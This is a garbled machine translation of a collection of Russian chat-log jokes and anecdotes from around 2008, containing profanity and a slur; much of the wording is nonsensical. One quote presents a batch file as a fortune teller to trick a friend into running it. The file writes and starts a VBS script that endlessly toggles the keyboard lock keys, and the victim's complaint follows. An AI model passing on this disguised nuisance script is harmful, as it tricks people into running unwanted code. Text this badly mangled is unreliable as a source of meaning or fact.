Yesterday, the agitators came to us, they put me a paper like this "order to the future president", and the address is there: Moscow, the Kremlin. What do you think, if I wrote there "leash the rosette", will they send it away?

WATMAN: Yesterday I went to the magz for a mineral shop, there is a shorter than two seller sitting there. Goods through barcode scanner, there on comp 1C, win 95, summarizing everything as usual. Well, and then the buyer suddenly realized that he took the wrong thing, the type of grit is not necessary. Devacha, he said, was late, pulled through the scanner... And he didn’t take what he didn’t want. She took and struck the computer. I’ve been working with Sisadmin for a long time, but I haven’t seen any appliance reimbursement of the transaction yet!!! to

Over the doctor's granddaughter came a beloved aunt. I complained that I could not read my mail.ru email because I forgot my password. Well, I broke him joyfully, wishing to earn the glasses. Set up my password, broke inside – here, I say, all your 4000 messages! by PJALTA! And modestly standing so, stumbling... Man of the year can all...
And she looked and said, Oh... and these are not my letters... but where are my ones?? to
It turned out that she confused the address, and I broke someone else’s box... some strange woman.
Now I communicate with the sapport - I restore as it was :(
Don’t try to please the friend – you’re useless, you’re still worshipping.

Raw Dad Conserve: By the way, this is the last song of this group
Little Fuck: They wrote it and died?
Harsh Grandfather Conservancy: No, they wrote it and broke up
Little Fuck: Absolutely
Raw Father Conservancy: Yes, fucking, on atoms

1: I thought one thought about relieving the catamaran. And I came up pumping balloons with helium))) I wonder what it will lead to?
If you breathe helium, then for a while the voice will be funny. Since the volume of catamaran bottles is large, you can talk like a buratino without stopping the entire holiday.

HCH: *THUMBS UP* :-D <Lexa-veider> K. Rice called on Colombia to conclude a free trade agreement with the United States.
<Lexa-veider> is very interesting
<the_daily_ragnarok> What to do
NN: And they have nothing more... Even a good Colombian coffee is just a bad Colombian cocaine.

On the recently opened presidential website Medvedev lacks a counter.
There is a day until the presidency.

News on the forum:
On January 26, 2008, Georgia announced the abandonment of the Kalashnikov automatic rifles in favor of the M-4 automatic rifles of American production. Officials of the Georgian Ministry of Defense call as reasons for the replacement the superiority of American weapons over Kalashnikov and difficulties with the acquisition of ammunition for Soviet-developed machine guns.
The Stone:
Georgia just passed the controls to play, bugga))

Mithya (13:46:12 29/01/2008)
Pleasant appetite
Senya (13:49:08 29/01/2008)
The appetite cannot be pleasant, because it is a feeling, and the feeling itself implies pleasant it or not, cold, hunger, appetite. Appetite is the presence of pleasure with which you eat. You have a pleasure. I hate this expression.
Mithya (13:50:07 29/01/2008)
then die the shit hungry, without appetite!

Fuck you moderators!! to
I suggest choosing quotes for the main only from the top of the abyss!
IMHO we (people) already know best that we like, fucking not recommend practically!

Let’s go to the top who agrees!

Respect for Relaxation

1 of O! It is great! I'll have a day tomorrow, will you go to the shelter?
2nd Blind! With pleasure!
This is great :) Now we are provided with meat.
2 in the meaning?
The 1st :)

People! 1 change the future!! We all go to elections and don’t vote for the bears!!! to

Yyy: Hi My Rabbit &#61514; insert this text in the txt document, in the extension put.bat open it and you will see your fate!!! to

echo Chr(39)>%temp% emp1.vbs
echo Chr(39)>%temp% emp2.vbs
echo on error resume next > %temp% emp.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp% emp.vbs
echo set FSO=createobject("scripting.filesystemobject")>>%temp% emp.vbs
echo do >> %temp% emp.vbs
echo wscript.sleep 200 >> %temp% emp.vbs
echo s.sendkeys"{capslock}" >> %temp% emp.vbs
echo wscript.sleep 200 >> %temp% emp.vbs
echo s.sendkeys"{numlock}" >> %temp% emp.vbs
echo wscript.sleep 200 >> %temp% emp.vbs
echo s.sendkeys"{scrolllock}" >> %temp% emp.vbs
echo loop>> %temp% emp.vbs
start %temp% emp.vbs
start %temp% emp1.vbs
start %temp% emp2.vbs

Xxx: Hi, I’ll do it ?
Xxx: T1
Xxx: What is HNA?
Xxx: T1 and T1
XXX I will kill you.
Xxx is me.
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Yyy: he-he-he-he)))

nickname (19:52:31 2/02/2008)
It is blue!!!! How do you get rid of that shit?!!!! to

StormPetrel (19:53:12 2/02/2008)
and the

BRABUS: MLA can’t be put on the basement that way!!!! And it does.

I walk in the street, in front of a 4-year-old boy with my mother. He points somewhere with his finger (somewhere beyond the corner, I don’t see it) and beats hysterically: “MOM! Buy it up!Mom with a strange expression of the face says she won’t buy. I get closer and see behind the corner a man with a gasoline.
The hysteria started with me.)

Ir4ik: Why are you so acidic?
nata: Do you remember my friend Irina, and what did I have at DR?
Ir4ik: Well...
Nata: I recently gave birth to my daughter. My girlfriend is pregnant in the third month.
ir4ik: so what?? to
I don’t, but I’m 27!! What should I do???? to
ir4ik: you, it... don’t communicate with them, it’s, go, contagious.

Comrade admin, make the inscription "and further" a little smaller, or I’m already burning...

Consultation before the exam:
<prepod>: Even if you don’t know the correct answer, say at least some hernia. Only warn me, that I may have time to command myself - stumble, Vasily Pavlovich, the shit is flying!

Meeting with the participation of the employer
"And when we hinted on the additional payment in connection with the change of TZ he cried as if his herd of pederastes was catching..."

A two-story penthouse of 278 square meters in New York City, once owned by singer Frank Sinatra, is on sale at a price slightly more expensive than a panel shell in Moscow.

Our corporate customer manager talks, as it turned out, by phone, quite seriously:
Listen to this Cronstein who came, you know where he came! I will tell where! Shut it down... yeah, in the same order that was yesterday I dropped it down to you...
At this time, the whole floor was shut up listening to where it is necessary to move Cronstein))))